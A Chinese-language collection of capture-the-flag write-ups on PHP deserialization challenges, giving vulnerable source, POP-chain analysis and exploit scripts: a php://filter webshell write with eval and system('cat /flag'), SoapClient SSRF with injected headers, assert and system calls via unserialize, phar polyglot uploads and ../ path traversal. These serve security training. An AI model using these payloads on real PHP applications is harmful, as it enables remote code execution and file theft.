buu反序列化
反序列化
[MRCTF2020]Ezpop 简单的pop
查看源码
用反序列化触发wakeup方法,preg_match将$this->source进行字符串正则匹配,$show1会被当成字符串 进而触发tostring
tostring是把对象当成字符串调用时被触发,
$show = new Show();
$show1=new Show();
$show->source=$show1;
get方法是当访问一个不可访问的对象或方法时被触发
$test=new Test();
$show1->str=$test;
get方法被触发,$p被当成函数来调用,触发invoke方法
$modifier=new Modifier();
$test->p=$modifier;
invoke方法会调用append,append方法中有incloud,所以用伪协议来获取flag
<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$show = new Show();
$show1=new Show();
$show->source=$show1;
$test=new Test();
$show1->str=$test;
$modifier=new Modifier();
$test->p=$modifier;
echo urlencode(serialize($show));
运行
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
在url中传参?pop
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2Q3Mjg5MjQzLTkzMWEtNGU2OS1iNzIwLWYxYzYzYWVlZjY4NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
Base64解码
<?php
class Flag{
private $flag= "flag{d7289243-931a-4e69-b720-f1c63aeef685}";
}
echo "Help Me Find FLAG!";
?>
[NPUCTF2020]ReadlezPHP 动态函数
查看源码,构造反序列化:echo serialize($c);
echo serialize($c);
O:8:"HelloPhp":2:{s:1:"a";s:11:"Y-m-d h:i:s";s:1:"b";s:4:"date";}
assert是用来避免显而易见的错误的
由$b($a) 可以构造$b=assert,$a=phpinfo ->assert(phpinfo())
$b=assert;
$a=phpinfo();
$d=assert(phpinfo());
echo serialize($d);
url传参
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
在phpinfo页面中搜索得到flag
[EIS 2019]EzPOP 半🐕
pop链:
A::__destruct->save()->getForStorage()->cleanStorage()
B::set()->getExpireTime()、getCacheKey()、serialize()->file_put_contents写x.php
源码+分析
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {//传进来的cache数组替换为$contents
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {//覆盖变量
if (is_array($object)) {//判断contents传进俩是否为数组
$contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key方法取两个数组
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);//进入cleanContents方法,cache为array数组
return json_encode([$cleaned, $this->complete]);//将$complete传入数值后会进行json加密并返回到cleanContents()的数组里
}
public function save() {
$contents = $this->getForStorage();//进入getForStorage方法
$this->store->set($this->key, $contents, $this->expire);//设置store为B类,进入new B()的set方法,将key,contents,expire传过去
}
public function __destruct() {//入口
if (!$this->autosave) {//设置autosave=flase;!假=真(!x 如果x不是true就返回true)
$this->save();//进入save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;//getCacheKey(string $name)方法中的options['prefix']可控
//可以构造php://filter.writer=convert.base64-decode/resource=x.php
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}//先将$value转为string($data)
//因为options['serialize']可控 所以设置options['serialize'] = 'base64_decode' 先解码$data一次 伪协议在解码一次
$serialize = $this->options['serialize'];
//options['serialize']='base64_decode'
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {//判断A类传进来$expire是不是null
$expire = $this->options['expire'];//options['expire']可控
}
$expire = $this->getExpireTime($expire);//expire可控
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩 //options['data_compress']可控,所以赋值options['data_compress'] = false
$data = gzcompress($data, 3);//提取三个字符压缩 所以编码时加上三个字符 以免干扰base64编码后的一句话木马
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//data经过了拼接处理
$result = file_put_contents($filename, $data);//伪协议绕过exit之后利用file_put_contents写入x.php
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
从反序列化函数unserialize入手,利用file_put_contents函数写shell
data参数做了拼接处理,exit需要用伪协议来绕过
有个数据压缩代码,但只要options['data_compress']为假就不进入if执行
$value变量来自classA中的$contents 经class B中的set函数调用
!$this->autosave代表$this->autosave=false;从而调用save函数 实现$this->store->set,set函数被调用
$contents变量来自函数getStorage()的返回值,参数组为[$cleaned,$this->complete],让$complete为shell内容 另一个为空数组
filename为getCacheKey($name)的返回值 返回两个拼接量$name来自$key
$this->complete = base64_encode("xx".base64_encode('<?php @eval($_POST["a"]);?>'));
第一次编码是为了绕过exit,二次编码是防止出错
base64算法解码时是4个字节为一组,如果直接伪协议解码,前面的拼接内容如果不足4的倍数,会向后取位补足,从而破坏shell内容,所以需要补齐字符
payload
<?php
class A{
protected $store;
protected $key;//传过去对应着$filename
protected $expire;//expire传不传值都对应着null
public function __construct()
{
$this->cache = array();//cache是array的数组
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["x"]);?>'));//cache是array的数组
$this->key = "php://filter/write=convert.base64-decode/resource=x.php";//php://filter伪协议绕过exit
$this->store = new B();//进入B类
$this->autosave = false;//设置autosave()=false; !假=真(!x 如果x不是true就返回true)
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';//serialize方法的options['serialize']可控 解码$data
$this->options['data_compress'] = false;//data_complete可控 值设为false,假&&假==真
}
}
echo urlencode(serialize(new A()));
?>
运行结果
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A55%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D7.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiSW1FaVhTazdQejQ9%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D
访问 src=x&data=payload 在访问 x.php?x=system('cat /flag');
[MRCTF2020]Ezpop_Revenge??
soap类作用:是用于在分散的分布式环境中交换信息的轻量级协议
target函数:将一个函数作为一个参数传递给另一个函数
X-Forwarded-For 是一个 HTTP 扩展头部,用来请求真实的IP
本题核心代码整理
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
//phpinfo();
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin
{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
class Typecho_Db{
public function __construct($adapterName, $prefix = 'typecho_')
{
//phpinfo();
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
$this->_adapter = new $adapterName();
}
}
class Typecho_Db_Query
{
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_sqlPreBuild;
public function __toString()
{
phpinfo();
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
}
反序列化HelloWorld_DB 触发__wakeup()方法,实例化了Typecho_Db类,传递数组$this->coincidence['hello']作为参数
触发construct方法
触发?tostring
在tostring内 若$_sqlPrebuild['action']为SELECT就会触发$_adapter的parseSelect()方法
将$_adapter实例化为SoapClient,调用parseSelect()是不存在的方法,触发了
SoapClient的__call()魔术方法call()是实现SSRF的关键
触发sqlPreBuild方法
payload
<?php
class SoapClient{}
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://79a741b7-3f82-4af4-a667-c3ff1e6a125a.node5.buuoj.cn:81/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm45"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
echo "www.gem-love.com\n";
return $newstr;
}
$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);
触发点在/page_admin
POST提交payload在C0incid3nc3变量中 GET传参admin
不知道为啥 出不来flag
[网鼎杯 2020 青龙组]AreUSerialz
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法
str_replace函数;把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":
<?php
echo str_replace("world","Peter","Hello world!");
?>
大体pop链:
destruct->process->read->output
源码+分析
<?php
include("flag.php");
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
//phpinfo();
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
//phpinfo();
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");//如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错
//令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,进入read函数
}
}
private function write() {
//phpinfo();
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
//phpinfo();
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//filename可控,接着用file_get_contents哈桑农户读取文件
//借助php://filter伪协议读取文件,获取到文件后用output函数输出
}
return $res;
}
private function output($s) {
//phpinfo();
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
//phpinfo();
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();//如果op==="2" 将其赋值"1"(1,2,均为字符串) content赋值为控,进入process函数
}
}
function is_valid($s) {
//phpinfo();
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
//str字符串中的字符都在ASCII的32到125范围之内 反序列化
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
$a=new FileHandler();
echo serialize($a);
注意:$content $filename $op三个变量都是protected,protected权限的变量在序列化时会有%00*%00字符,而%00字符的ASCII码为0 无法通过is_vaild函数校验
运行结果
[Result]: <br>Bad Hacker!O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}[Result]: <br>Bad Hacker!
payload
<?php
class FileHandler
{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = 2;
}
$a=new FileHandler();
echo serialize($a);
[网鼎杯 2020 朱雀组]phpweb
call_user_func()函数:把第一个参数作为回调函数调用
burp抓包 猜测 利用func上传函数名,p上传参数
构造:func=file_get_contents&p=index.php
//finc_get_contents函数是把整个文件读入一个字符串中
获得源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
禁止了这老些函数
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
payload
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$a = new Test();
$a->func = "system";
$a->p = "ls";
echo serialize($a);
执行系统命令ls
find / -name flag*//查找名字关于flag
得到flag
[安洵杯 2019]easy_serialize_php
查看源码
<?php
$function = @$_GET['f'];
function filter($img){//对$img(形参)进行过滤,后缀不允许出现'php','flag','php5','php4','fl1g'
//满足字符串逃逸的条件
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);//把$_SESSION重置为空
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//把post参数注册成变量(变量覆盖)
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//对$_SESSION进行一些过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
构造:f=phpinfo
读取文件的地方
当$function == 'show_image'时读取解码后的['img']
$userinfo的值是$serialize_info的反序列化对象
$serialize_info是经过自定义函数过滤的序列化后的$_SESSION
本题知识点:反序列化逃逸
逃逸的两种方法:键值逃逸,键名逃逸
键值逃逸:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
因为filter函数过滤掉了flage和php 但序列化长度没有改变 所以
但序列化长度没有改变 所以s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被当作原来的值
实现了读取flag
将/d0g3_fllllllag进行base64编码后替换ZDBnM19mMWFnLnBocA==上传
键名逃逸
原理相同 过滤键名
更换键名";s:48:
[SWPUCTF 2018]SimplePHP
查看源码
文件上传处只允许上传图片类型 并且不反悔路径
file=index.php 根据线索一个一个找出来
源码+分析
index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
分析 index.php+base.php发现 base.php食醋胡了一个REMOTE_ADDR 客户端的IP地址
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
} //若文件存在 将要读取的文件赋值给Show类的$source 调用_show(),zai class.php文件中找到了这个函数
?>
分析file.php文件发现设置了open_basedir
“file_exists()”函数的作用是:检查文件或目录是否存在
_show()
将传入的文件 金国正则表达式过滤 如果包含了特殊字符就退出,否则就读取源码
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
调用upload_file函数。 首先得经过upload_file_check()函数。 这个函数是判断文件后缀名的。必须是gif/jpeg/jpg/png 通过匹配后。进入upload_file_do()
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
分析class.php
class.php粗滤查看过滤会发现确实过滤了f1ag.php。
然后整个题没有一个unserialize();调用
看到了wakeup方法但因为呜啊绕过正则匹配 所以从Test类入手
看到了get方法 需要找到一个不存在的函数或属性 调用get方法 进而调用file_get来读取文件
将str['str']变成Test类,调用source函数。由于Test类没有source函数。就会触发get方法
echo $this->test;能触发tostring方法
POP链:
通过Cle4r 将str赋值为Show类 this->test=$this->Show类 echo $this->test;
触发Show类中的__tostring 进入Show类 执行$content=$this->str['str']->source;
将str['str']赋值为Test类 使其调用不存在的source 触发__get($key) 这个$key就是source
get($key)
$value=this->params['source'];
file_get_contents($value);
由于Test类在构造函数中 定义了params是个数组 那么我们就定义params=array('source'=>'/var/www/html/fl1g.php');
exp
<?php
class Cle4r{
public $str;
public $test;
}
class Show{
public $source;
public $str;
}
class Test{
public $file;
public $params;
}
$a=new Cle4r();
$b=new Show();
$a->test=$b;
$c=new Show();
$c->source=new Show();
$d=new Test();
$d->params['source']=array('source'=>'/var/www/html/f1ag.php');
$b->str['str']=$d;
echo serialize($a);
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}
$phar=new Phar("1.phar");
$phar->startBuffering();//开始缓冲Phar 写操作
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}
上传文件 查看目录 复制规则化后名字 url访问 base64解码
[CISCN2019 华北赛区 Day1 Web1]Dropbox
上传文件 发现只有图片能上传
一般上传的文件 会放在网站的/sandbox/hash目录下 所以下载源码需要跳转到上一级目录 下载时抓包得到源码
filenmae=../../index.php
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
login.php
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);//bind_param函数:绑定参数
$stmt->execute();//execute:该方法执行一条预处理语句 成功是返回TRUE 失败时返回FLASE
$stmt->store_result();//转移上一次查询返回的结果集
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
//phpinfo();
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
//phpinfo();
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
利用file_get_contents函数读取flag(对关键字没有过滤)
close方法反推找到了
$db一般指mysql数据库对象 但是可以构造$db为指定的File对象 便于读取文件
注意 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入
$this->results[$file->name()][$func]
POP链:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$user=new User();
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata($user);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
将phar文件修改后缀 删除时抓包
